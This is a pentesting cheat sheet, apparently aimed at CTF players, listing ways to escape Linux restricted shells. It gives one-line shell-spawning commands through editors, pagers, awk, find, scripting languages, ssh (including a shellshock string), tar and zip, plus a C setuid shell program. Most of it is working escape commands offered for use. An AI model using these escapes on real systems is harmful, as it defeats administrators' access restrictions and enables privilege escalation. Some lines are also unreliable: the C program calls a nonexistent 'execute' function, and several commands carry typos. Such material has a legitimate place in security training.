Linux Restricted Shell Bypass

By @n4ckhcker & @h4d3sw0rm
Contents

[ 1 ] Introduction
[ 2 ] Enumeration Linux Environment
[ 3 ] Common Exploitation Techniques
[ 4 ] Programming Languages Techniques
[ 6 ] Time to Practice
Introduction

Hello, so first of all let’s explain what is a restricted shell? A restricted shell is a shell that block/restricts some of the commands like cd, ls, echo etc or "block" the environment variables like SHELL, PATH, USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >, >>. The types of a restricted shell can be: rbash, rksh, rsh. But now why someone want to create a restricted shell? Let’s say some examples:

1) To improve Security
2) To block hackers/pentesters.
3) Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands.
4) For a CTF Challenge. (Root-me/hackthebox/vulnhub).
Enumeration Linux Environment

Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash.

We need to enumerate:

1) First we must to check for available commands like cd/ls/echo etc.
2) We must to check for operators like >,>>,<<,|.
3) We need to check for available programming languages like perl,ruby,python etc.
4) Which commands we can run as root (sudo -l).
5) Check for files or commands with SUID perm.
6) You must to check in what shell you are: echo $SHELL you will be in rbash by 90%
7) Check for the Environmental Variables: run env or printenv

Now let’s move into Common Exploitation Techniques.
Common Exploitation Techniques

Now let’s see some of the common exploitation techniques.

1) If "/" is allowed you can run /bin/sh or /bin/bash.
2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.
   3) From ftp > !/bin/sh or !/bin/bash
   4) From gdb > !/bin/sh or !/bin/bash
   5) From more/man/less > !/bin/sh or !/bin/bash
   6) From vim > !/bin/sh or !/bin/bash
   7) From rvim > :python import os; os.system("/bin/bash");
   8) From scp > scp -S /path/yourscript x y:
   9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'
10) From find > find / -name test -exec /bin/sh or /bin/bash \;
Programming Languages Techniques

Now.. let’s look some programming languages techniques.

1) From except > except spawn sh then sh.
2) From python > python -c 'import os; os.system("/bin/sh")'
3) From php > php -a then exec("sh -i");
4) From perl > perl -e 'exec "/bin/sh";'
5) From lua > os.execute('/bin/sh').
6) From ruby > exec "'/bin/sh"

Now let’s move into Advance Techniques.
Advanced Techniques

Now let's move into some dirty advance techniques.

1) From ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"
2) From ssh2 > ssh username@IP -t "bash --noprofile"
3) From ssh3 > ssh username@IP -t "(){ }; /bin/bash" (shellshock)
4) From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"
   127.0.0.1 (SUID)
5) From git > git help status > you can run it then !/bin/bash
6) From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T
7) From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /
   /bin/bash"
8) From tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

C SETUID SHELL:

```c
#include <stdlib.h> 
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp) 
{
    setresgid(getegid(), getegid(), getegid());
    setresuid(geteuid(), geteuid(), geteuid());
    execute("/bin/sh", argv, envp);
    return 0;
}
```
Time For Practise

Root-me have a INSANE rbash bypass challenge!

https://www.root-me.org/en/Challenges/App-Script/Restricted-shells

Hackthebox solidstate machine! (Easy)

https://www.hackthebox.eu/